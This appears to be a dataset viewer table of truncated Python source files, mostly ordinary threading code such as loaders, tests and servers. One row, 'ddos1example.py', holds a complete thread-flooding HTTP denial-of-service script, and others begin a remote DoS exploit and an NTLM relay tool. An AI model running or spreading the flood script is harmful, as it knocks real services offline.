source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
loader_v0.py | """ Module dmt/data/loading/loader_base.py
Copy the pytorch implementation.
"""
import os, sys
import pathlib
import time
import random
import queue
import weakref
import itertools
import warnings
import multiprocessing as python_mp
from multiprocessing import Process
import threading
from threading import Thread
fr... |
test_logging.py | #!/usr/bin/env python
#
# Copyright 2001-2013 by Vinay Sajip. All Rights Reserved.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose and without fee is hereby granted,
# provided that the above copyright notice appear in all copies and that
# both that copy... |
benchlog.py | """
Log event counter, every line (event) appended to a log file will increment the
global counter, and display the current count per sleep count.
Where this is useful:
* For very active log files where `tail -F` is futile.
* When you have a service-specific event log and you don't care
about what the data looks like ... |
exchange_rate.py | from datetime import datetime
import inspect
import requests
import sys
import os
import json
import pkgutil
from threading import Thread
import time
import csv
import decimal
from decimal import Decimal as PyDecimal # Qt 5.12 also exports Decimal
from collections import defaultdict
from .bitcoin import COIN
from .i1... |
rpc_test.py | import concurrent.futures
import contextlib
import json
import os
import sys
import threading
import time
from collections import namedtuple
from functools import partial
from threading import Event
from threading import Lock
from unittest import mock
import torch
import torch.nn as nn
import torch.distributed as dis... |
pooling.py | import logging
from threading import Thread
from time import sleep
from typing import Callable
from telegram_bot_api import API, Update
class Pooling:
def __init__(self, api, handler: Callable[[Update], None], update_time: float = 5, dev_mode: bool = False):
self.__api: API = api
self.__handler: Callable[[Updat... |
batch.py | import asyncio
import concurrent
import time
import logging
import os
import threading
import traceback
import json
import uuid
from shlex import quote as shq
import jinja2
import aiohttp_jinja2
from aiohttp import web
import cerberus
import kubernetes as kube
import requests
import uvloop
import prometheus_client as ... |
file_explorer.py | import os
import sys
import subprocess
import threading
import shutil
import queue
import uuid
from time import gmtime, strftime
import datetime
import numpy as np
from pathlib import Path
import tkinter as tk
import tkinter.ttk as ttk
from tkinter import messagebox
from tkinter import simpledialog
from PIL import Imag... |
sender.py | import time
import threading
from frameHelper import Frame
import logger
import persistentMethods
# define time-out time in seconds
timeout=2
# store all the round-trip times
rttList = []
# define Sender class for data sending management
class Sender:
def __init__(self, connection, monitor, name:str, senderAddre... |
action.py | #!/usr/bin/env python
#
# License: BSD
# https://raw.githubusercontent.com/stonier/py_trees/devel/LICENSE
#
##############################################################################
# Documentation
##############################################################################
"""
.. argparse::
:module: py_tr... |
PyVmomiServer.py | #!/usr/bin/env python
"""
Copyright 2008-2022 VMware, Inc. All rights reserved. -- VMware Confidential
This module is the python vmomi server module. This hosted python managed
object implementation and serves SOAP requests from extern entities
"""
__author__ = "VMware, Inc"
import sys
import os
# The following imp... |
team_manager.py | # -*- coding: utf-8 -*-
"""
This file is covered by the LICENSING file in the root of this project.
"""
import sys
from werkzeug.exceptions import Forbidden
sys.path.append("..")
import uuid
import time
from flask import g
import threading
from mongoengine import Q, ValidationError
from os.path import realpath, absp... |
watcher.py | import os
import codecs
import chardet
import threading
class StoppableThread(threading.Thread):
def __init__(self, target, timeout):
super(StoppableThread, self).__init__()
self._target = target
self._timeout = timeout
self._stop_event = threading.Event()
def run(self):
... |
shark.py | #!/usr/bin/env python
'''
Launch
Start the robot, joystick, camera, logger, and prediction in their own subprocess.
Author: Tawn Kramer
'''
import os
import multiprocessing as mp
from subprocess import Popen, PIPE, STDOUT
import argparse
import time
import predict
import conf
conf.init()
class Proc():... |
RankChangeAnnouncer_StreamlabsSystem.py | #---------------------------------------
# Import Libraries
#---------------------------------------
import os
import codecs
import json
import time
import threading
#---------------------------------------
# [Required] Script Information
#---------------------------------------
ScriptName = "Rank Change A... |
myFunctionApproximation.py | """
Author: Florian Thaler
Email: florian.thaler@edu.uni-graz.at
Description: Part of the code package corresponding to my master thesis. This file implements the main function
of the function approximation package.
Year: 2019/2020
"""
###################################################################... |
build_syntaxes.py | import sublime
import sublime_plugin
from threading import Thread
import logging
from sublime_lib import OutputPanel, get_syntax_for_scope
from ..settings import get_settings
from ..paths import USER_DATA_PATH
from ..build import build_configuration
from ..configurations import get_configurations
if False: # Mypy
... |
news.py | """
todo:
(DONE) word formatting from python (python-docx)
(DONE) tf-idf and semantic similarity on summary sentences to prevent repeating article header
ph vs ROW news: how to get geographic source of data from article?
tf-idf/semantic similarity to rank news based on duplication among news sources
finished handlers
... |
multithread_dataiter_for_cross_entropy_v2.py | # -*- coding: utf-8 -*-
import random
import math
import threading
import time
import logging
import queue
import cv2
import numpy
from ChasingTrainFramework_GeneralOneClassDetection.image_augmentation.augmentor import Augmentor
from ChasingTrainFramework_GeneralOneClassDetection.data_iterator_base.data_batch import D... |
failure_handling.py | # Lint as: python3
# Copyright 2022 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... |
dask.py | # pylint: disable=too-many-arguments, too-many-locals, no-name-in-module
# pylint: disable=missing-class-docstring, invalid-name
# pylint: disable=too-many-lines, fixme
# pylint: disable=too-few-public-methods
# pylint: disable=import-error
"""Dask extensions for distributed training. See
https://xgboost.readthedocs.io... |
asyncio_dispatcher.py | import asyncio
import inspect
import threading
import atexit
class AsyncioDispatcher:
def __init__(self, loop=None):
"""A dispatcher for `asyncio` based IOCs, suitable to be passed to
`softioc.iocInit`. Means that `on_update` callback functions can be
async. If loop is None, will run an Eve... |
ddos1example.py | import threading
import requests
def dos():
while True:
requests.get("http://example.com")
while True:
threading.Thread(target=dos).start()
|
pypepad.py | #!${PYTHON_SHEBANG}
## Program: Pype Pad
## Module: $RCSfile: pypepad.py,v $
## Language: Python
## Date: $Date: 2006/05/26 12:36:30 $
## Version: $Revision: 1.6 $
## Copyright (c) Luca Antiga, David Steinman. All rights reserved.
## See LICENSE file for details.
## This software is distributed... |
trezor.py | import traceback
import sys
from typing import NamedTuple, Any, Optional, Dict, Union, List, Tuple, TYPE_CHECKING
from electrum_mona.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException
from electrum_mona.bip32 import BIP32Node, convert_bip32_path_to_list_of_uint32 as parse_path
from electrum_mona i... |
server.py | """
XDD RPC Listen server. This server exports XDD's python object's via RPC.
"""
from __future__ import print_function
import os
import sys
import threading
import time
#
# Packages supplied with XDD
#
import Pyro4
from xdd import constants, flowbuilder
def ppidCheck(server):
"""
Check to see if the parent ... |
test_ssl.py | # Test the support for SSL and sockets
import sys
import unittest
import unittest.mock
from test import support
from test.support import import_helper
from test.support import os_helper
from test.support import socket_helper
from test.support import threading_helper
from test.support import warnings_helper
import sock... |
test_basic.py | # -*- coding: utf-8 -*-
"""
tests.basic
~~~~~~~~~~~~~~~~~~~~~
The basic functionality.
:copyright: (c) 2015 by Armin Ronacher.
:license: BSD, see LICENSE for more details.
"""
import pytest
import re
import uuid
import time
import flask
import pickle
from datetime import datetime
from threading ... |
dns_handler.py | import socketserver
import threading
import logging
import ssl
import socket
import binascii
_log = logging.getLogger(__name__)
class DNSHandler(socketserver.BaseRequestHandler):
def handle(self):
data, connection = self.request
response = self.resolve(data)
_log.info('Received UDP requ... |
master.py | # This file is adapted from github repo: https://github.com/automl/HpBandSter.
import os
import time
import logging
import threading
import configparser
from litebo.core.distributed.dispatcher import Dispatcher
from litebo.utils.constants import MAXINT, SUCCESS, FAILED, TIMEOUT
class Master(object):
def __init__(se... |
netcat.py | #!/usr/bin/env python3
import sys
import shlex
import socket
import argparse
import textwrap
import subprocess
from threading import Thread
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STRE... |
simple_crawler.py | import copy
import threading
from six.moves import urllib
class SimpleCrawler(object):
_results = {}
_default_headers = {'User-Agent': 'Mozilla/5.0'}
@staticmethod
def fetch_url(url, timeout=None, headers=None):
"""
Crawls the html content of the parameter url and returns the html
... |
snapraid-runner.py | #!/usr/bin/env python2.7
# -*- coding: utf8 -*-
from __future__ import division
import argparse
import ConfigParser
import logging
import logging.handlers
import os.path
import subprocess
import sys
import threading
import time
import traceback
from collections import Counter, defaultdict
from cStringIO import String... |
quick_chats.py | import flatbuffers
import multiprocessing
import queue
from threading import Thread
from rlbot.messages.flat import QuickChat
from rlbot.messages.flat import QuickChatSelection
from rlbot.utils.logging_utils import get_logger
from rlbot.utils.structures.utils import create_enum_object
"""
Look for quick chats from ... |
multi_buffer_servicing_runnable_test.py | import logging
import time
from concurrent.futures.thread import ThreadPoolExecutor
from dataclasses import dataclass
from threading import Thread
from typing import Any, Callable, Collection, List, Optional, TypeVar, no_type_check
from unittest import TestCase
from puma.attribute import copied, parent_only
from puma.... |
slp_graph_search.py | """
SLP Graph Search Client
Performs a background search and batch download of graph
transactions from a Graph Search server. For more information about
a Graph Search server see:
* gs++: https://github.com/blockparty-sh/cpp_slp_graph_search
* bchd: https://github.com/simpleledgerinc/bchd/tree/graphsearch
This class... |
test_initialize.py | import multiprocessing as mp
import dask.array as da
from dask_cuda.initialize import initialize
from dask_cuda.utils import get_ucx_config
from distributed import Client
from distributed.deploy.local import LocalCluster
import numpy
import psutil
import pytest
mp = mp.get_context("spawn")
ucp = pytest.importorskip(... |
ntlmrelayx.py | #!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Generic NTLM Relay Module
#
# Authors:
# Alberto Sol... |
train_ml.py | """Train with optional Global Distance, Local Distance, Identification Loss,
Mutual Loss."""
from __future__ import print_function
import sys
sys.path.insert(0, '.')
import torch
from torch.autograd import Variable
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.nn.parall... |
client.py | import aiohttp
import asyncio
from datetime import datetime
from functools import partial
import logging
from multiprocessing import Manager, Process
from os import mkdir
from os.path import exists
from pickle import dumps, loads
from queue import Empty
from urllib.parse import urljoin
import uvloop
from utils import ... |
ScriptRequestQueueTest.py | # -*- coding: utf-8 -*-
# Copyright 2018-2019 Streamlit Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... |
common.py | """Test the helper method for writing tests."""
import asyncio
from datetime import timedelta
import functools as ft
import os
import sys
from unittest.mock import patch, MagicMock, Mock
from io import StringIO
import logging
import threading
from contextlib import contextmanager
from homeassistant import auth, core a... |
datasets.py | import glob
import math
import os
import random
import shutil
import time
from pathlib import Path
from threading import Thread
import cv2
import numpy as np
import torch
from PIL import Image, ExifTags
from torch.utils.data import Dataset
from tqdm import tqdm
from utils.utils import xyxy2xywh, xywh2xyxy
help_url =... |
crawler.py |
'''
该模块主要处理http://www.cnvd.org.cn
解析统计查询中的共享数据xml
'''
import os
from queue import Queue
from datetime import datetime
import threading
import requests
from bs4 import BeautifulSoup
# import pytesseract
# from PIL import Image
import pandas as pd
import xml.etree.ElementTree as ET
class CNVD:
LOGIN_URL = 'ht... |
46380.py | #!/usr/bin/python
#coding: utf-8
# *********************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * ApowerManager Remote Denial of Service (DoS) / Application Crash *
# **************************************************************... |
__init__.py | #!/usr/bin/env python
#
# Copyright 2017-2018 Amazon.com, Inc. and its affiliates. All Rights Reserved.
#
# Licensed under the MIT License. See the LICENSE accompanying this file
# for the specific language governing permissions and limitations under
# the License.
#
#
# Copy this script to /sbin/mount.efs and make sur... |
start.py | #!/usr/bin/env python
import daemon
import time
from issue_checker import issue_checker
from config import config
from mysql_handler import mysql_handler
from threading import Thread
from index import py_server
class start:
def run_issue_checker(self):
new_issue_checker = issue_checker()
while... |
obj_analyzer.py | #!/usr/bin/env python3
# Copyright 2018 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Analyzer for Object Files.
This file works around Python's lack of concurrency.
_BulkObjectFileAnalyzerWorker:
Performs the act... |
chatcommunicate.py | # coding=utf-8
from chatexchange import events
from chatexchange.browser import LoginError
from chatexchange.messages import Message
from chatexchange_extension import Client
import collections
import itertools
import os
import os.path
import pickle
import queue
import regex
import requests
import sys
import threading
... |
streaming.py |
# Copyright 2009-2010 Joshua Roesslein
# See LICENSE for details.
import httplib
from socket import timeout
from threading import Thread
from time import sleep
import urllib
from sputnik.thirdparty.weibopy.auth import BasicAuthHandler
from sputnik.thirdparty.weibopy.models import Status
from sputnik.thirdparty.weibo... |
utils.py | # Copyright 2020 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... |
handler.py | #
# (C) Copyright PyWren Team 2018
# (C) Copyright IBM Corp. 2020
# (C) Copyright Cloudlab URV 2020
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICE... |
grab_pickle.py | # coding: utf-8
from unittest import TestCase
try:
import cPickle as pickle
except ImportError:
import pickle
from multiprocessing import Process, Queue
from grab import Grab
from .tornado_util import SERVER
class TestGrab(TestCase):
def setUp(self):
SERVER.reset()
def test_pickling(self):
... |
conftest.py | import threading
import pytest
from contextlib import contextmanager
import os
import logging
try:
TimeoutError = TimeoutError # @ReservedAssignment
except NameError:
class TimeoutError(RuntimeError): # @ReservedAssignment
pass
log = logging.getLogger(__name__)
TIMEOUT = int(os.getenv("PYTEST_TIM... |
peakfit.py | from __future__ import absolute_import, print_function, division
import logging
import numpy as np
import os
import scipy.integrate
from superman.peaks.bump_fit import fit_single_peak, fit_composite_peak
from threading import Thread, Lock
from tornado import gen
from .common import BaseHandler
# leastsq is not thread... |
fuzzer.py | import os
import sys
import time
import psutil
import hashlib
import logging
import coverage
import multiprocessing as mp
from pythonfuzz import corpus
logging.getLogger().addHandler(logging.StreamHandler(sys.stdout))
logging.getLogger().setLevel(logging.DEBUG)
SAMPLING_WINDOW = 5 # IN SECONDS
def worker(target, c... |
dual_camera.py | # MIT License
# Copyright (c) 2019,2020 JetsonHacks
# See license
# A very simple code snippet
# Using two CSI cameras (such as the Raspberry Pi Version 2) connected to a
# NVIDIA Jetson Nano Developer Kit (Rev B01) using OpenCV
# Drivers for the camera and OpenCV are included in the base image in JetPack 4.3+
# This... |
test_threaded_cached_property.py | # -*- coding: utf-8 -*-
"""
test_threaded_cache_property.py
----------------------------------
Tests for `cached-property` module, threaded_cache_property.
"""
from time import sleep
from threading import Thread, Lock
import unittest
from cached_property import threaded_cached_property
class TestCachedProperty(un... |
agent.py | """
This module implements the Optimal BPM agent initialization and shut down functionality
Created on Jan 21, 2016
@author: Nicklas Boerjesson
"""
import multiprocessing
import os
import sys
from multiprocessing import Process, Queue, freeze_support
import time
from bson.objectid import ObjectId
# The director... |
job.py | """
**job** module handles all the job running logic:
- consistent exception handling and logging
- currently 2 job runners are implemented:
- SimpleJobRunner runs the jobs sequentially.
- ParallelJobRunner queues the jobs and run them in a dedicated thread
"""
from concurrent.futures import ThreadPoolExecutor, Pr... |
client_app.py | import utils
import time
import socket
import threading
import json
from game_controller import GameController
from tkinter import *
from functools import partial
import sys
sys.path.append('..')
from game import Game, GameState
# Function that sends messages to the server.
def send_message(message_to_send):
mes... |
screens.py | import asyncio
from weakref import ref
from decimal import Decimal
import re
import threading
import traceback, sys
from typing import TYPE_CHECKING, List, Optional, Dict, Any
from kivy.app import App
from kivy.cache import Cache
from kivy.clock import Clock
from kivy.compat import string_types
from kivy.properties im... |
util_test.py | # Copyright (c) 2020 AllSeeingEyeTolledEweSew
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERC... |
test_runner.py | #!/usr/bin/env python3
# Copyright (c) 2014-2016 The Bitcoin Core developers
# Copyright (c) 2017 The Bitcoin developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Run regression test suite.
This module calls down into ind... |
main.py | """
Built on python 3.7.6
"""
import threading
import logging
import time
"""
define logger
"""
format = "%(asctime)s: %(message)s"
logging.basicConfig(format=format, level=logging.INFO,
datefmt="%H:%M:%S")
def hi(name="world"):
logging.info("Thread %s: starting", name)
time.sleep(2)
... |
test_fx.py | # Owner(s): ["oncall: fx"]
import builtins
import contextlib
import copy
import functools
import inspect
import math
import numbers
import operator
import os
import pickle
import sys
import torch
import traceback
import typing
import types
import warnings
import unittest
from math import sqrt
from torch.multiprocessin... |
run_py_tests.py | #!/usr/bin/env python
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""End to end tests for ChromeDriver."""
import base64
import optparse
import subprocess
import os
import sys
import socket
import tem... |
preallocator.py | #
# preallocator.py - maintains a pool of active virtual machines
#
from builtins import object
from builtins import range
import threading, logging, time, copy
from tangoObjects import TangoDictionary, TangoQueue, TangoIntValue
from config import Config
#
# Preallocator - This class maintains a pool of active VMs fo... |
multi_process_socket.py | from socket import AF_INET, SOCK_STREAM, socket, SOL_SOCKET, SO_REUSEADDR
#from threading import Thread
from multiprocessing import Process
def echo_server(address):
sock = socket(AF_INET, SOCK_STREAM)
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, True)
sock.bind(address)
sock.listen(1)
while True:
... |
pabot.py | #!/usr/bin/env python
# Copyright 2014->future! Mikko Korpela
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
tester.py | #!/usr/bin/python3
import sys
import time
import random
import string
import socket
import threading
def usage():
print("use ./teseter.py PORT N_CLIENTS, where PORT is port number and N_CLIENTS number of clients")
print("for ex. ./tester.py 1122 128")
sys.exit(1)
def client_func(name):
print("thread... |
Main_Frame.py | import login
import sys
sys.path.append("..")
import tkinter
from tkinter import messagebox
from logical_layer.loginservices import Authentication
from logical_layer.umsservices import *
from data_layer.user import User
from presentation_layer.login import Login
import socket
from threading import Thread
import os
from... |
data_preprocessor.py | #!/usr/bin/env python3
import wx
import wx.lib.buttons
import wx.lib.agw.customtreectrl as CT
import gettext
import os
import re
import sys
import fcntl
import threading
import Queue
import time
import socket
import struct
import shlex
import signal
import subprocess
import psutil
import pty
import yaml
import datetim... |
test_sftpserver_command.py | # coding: utf-8
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ import print_function
import sys
import socket
import threading
import multiprocessing
import uuid
import os
import time
import paramiko
import shutil
from contextlib import contextmanager
import moto.server ... |
main.py | #! /usr/bin/env python
import importlib
import os
import logging
import tempfile
import signal
import shutil
import time
import sys
import threading
import json
import optparse
import email
import subprocess
import hashlib
from future.builtins import bytes
import yaml
import requests
import coloredlogs
import alexap... |
testProcess.py | import threading
import multiprocessing
import time
# from gevent import monkey
# monkey.patch_all()
# from gevent import sleep
import eventlet
class Father(object):
def __init__(self):
self.son = None
self.conn = None
self.pkg_to_buf = multiprocessing.Array('i',3)
self.msg_... |
launch.py | #!/usr/bin/python
import os
import subprocess
import threading
import sys
import time
def worker(local_rank, local_size, command):
my_env = os.environ.copy()
my_env["BYTEPS_LOCAL_RANK"] = str(local_rank)
my_env["BYTEPS_LOCAL_SIZE"] = str(local_size)
if os.getenv("BYTEPS_ENABLE_GDB", 0):
if co... |
ParentProcess.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import *
__author__ = 'matth'
import... |
simple_gen_driver.py | '''
file: simple_gen_driver.py
author: Tawn Kramer
date: 18 May 2020
notes: a most basic implementation of genetic cross breeding and mutation to attempt to improve
a neural network. Assumes the standard Keras model from Donkeycar project.
Lower score means less loss = better.
'''
import os
import rando... |
backup.py | # coding=utf-8
from pydactyl import PterodactylClient
import os
import datetime
import zipfile
import subprocess
import logging
import threading
import sys
from time import sleep
client = PterodactylClient('PANEL_URL_HERE', '')
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s - %(levelname)s - %(message)s"... |
kind2_benchmarks.py | """
Script for runnid kind2 benchmarks
"""
from helper import from_fixture_path
from os.path import join
from intrepyd.lustre2py import translator
from intrepyd.engine import EngineResult
import intrepyd.context
import importlib
import multiprocessing as mp
import time
PATH_TO_KIND2_BENCHMARKS_ROOT = from_fixture_pat... |
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
demo_video.py | import argparse
import cv2
import torch
import os
import json
from model_scnn import SCNN
from model_sad import ENet_SAD
from utils.prob2lines import getLane
from utils.transforms import *
import time
from multiprocessing import Process, JoinableQueue, SimpleQueue
from threading import Lock
# #img_size = (640, 360)
i... |
SensitiveFileScanner.py | import requests
import threading
import queue
import json
import os
import time
def info():
info = {
'name': 'file',
'path': 'SensitiveFileScanner',
'fullname': 'SWEP SENSITIVE FILE SCANNER',
'description': 'A extra simple sensitive file scanner.',
'parameter': {
... |
inference_helper.py | import cv2
import depthai as dai
import numpy as np
import time
import collections
import threading
import multiprocessing as mp
# Notes:
# 1. Only support local video file as input_src currently, but you can modify it easily to support OAK-D camera input.
# 2. Only support the packing of 1 NN model, but it is also ve... |
lisp.py | # -----------------------------------------------------------------------------
#
# Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain... |
server.py | import json
import os
import sys
import time
import threading
from concurrent import futures
import argparse
import grpc
import ChunkServer_pb2
import ChunkServer_pb2_grpc
sys.path.append('../')
sys.path.append('../MasterServer')
from MasterServer import MasterServer_pb2
from MasterServer import MasterServer_pb2_grp... |
mail_editor.py | """
Ce programme a été entièrement développé par Kuntz Loïc dans le cadre d'un projet de fin de semestre.
Date de rendu de ce projet : 20/01/2021
"""
from tkinter import *
import smtplib
import os
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import eel
import threading
... |
video_inference.py | #!/usr/bin/env python3
import argparse
import glob
import os
import pickle
import queue
import threading
import imageio
import numpy as np
import scipy.ndimage
import scipy.optimize
import tensorflow as tf
import boxlib
import cameralib
import data.datasets3d
import improc
import options
import paths
import util
from... |
test_runner.py | # Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "LICENSE.txt" file acc... |
gdaltest_python2.py | # -*- coding: utf-8 -*-
###############################################################################
# $Id$
#
# Project: GDAL/OGR Test Suite
# Purpose: Python Library supporting GDAL/OGR Test Suite
# Author: Even Rouault, <even dot rouault at spatialys.com>
#
#####################################################... |
DialogPluginManager.py | '''
Created on March 1, 2012
@author: Mark V Systems Limited
(c) Copyright 2011 Mark V Systems Limited, All rights reserved.
based on pull request 4
'''
from tkinter import Toplevel, font, messagebox, VERTICAL, HORIZONTAL, N, S, E, W
from tkinter.constants import DISABLED, ACTIVE
try:
from tkinter.ttk import Tre... |
test2.py | from q3.api import *
import threading
cPath='/src/makaronLab/q3/q3/'
class enc2Impl:
def __init__(self):
self._namespace = None
self._initialized = False
def run(self):#thos also works - infinite mirror ...
fileName = cPath+"bootstrap/tests/ben6502/video3.py"
s=execF(fileName... |
_server.py | # Copyright 2016, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the f... |
cache_server.py | # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import http.server
import os
import re
import socketserver
from contextlib import contextmanager
from multiprocessing import Process, Queue
from pants.testutil.file_test_util import exact... |
usage_statistics.py | import atexit
import datetime
import json
import logging
import platform
import signal
import sys
import threading
from functools import wraps
from queue import Queue
import jsonschema
import requests
from great_expectations import __version__ as ge_version
from great_expectations.core import nested_update
from great... |
ScoutRunner.py | import threading
from scout import ScoutBase
import time
import socket
class ScoutRunner:
def __init__(self, keep_running=False):
self.scout_base = ScoutBase()
self.init_udp_server()
self.th1 = threading.Thread(target=self.process, daemon=True)
self.th2 = threading.Thread(target=se... |
test_ioloop.py | # -*- coding: utf-8 -*-
import os
import signal
import sys
import socket
import random
from multiprocessing import Process, Pipe
import pytest
from six.moves import socketserver
from greendns import ioloop
if sys.platform.startswith('linux'):
engines = ["select", "epoll"]
else:
engines = ["select"]
class Ud... |
server.py | #!/usr/bin/env python
"""
SSL server for Forge tests.
- The server changes to the directory of the server script.
- SSL uses "server.key" and "server.crt".
- Sever performs basic static file serving.
- Starts Flash cross domain policy file server.
- Defaults to HTTP/HTTPS port 19400.
- Defaults to Flash soc... |
test_dist_train.py | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.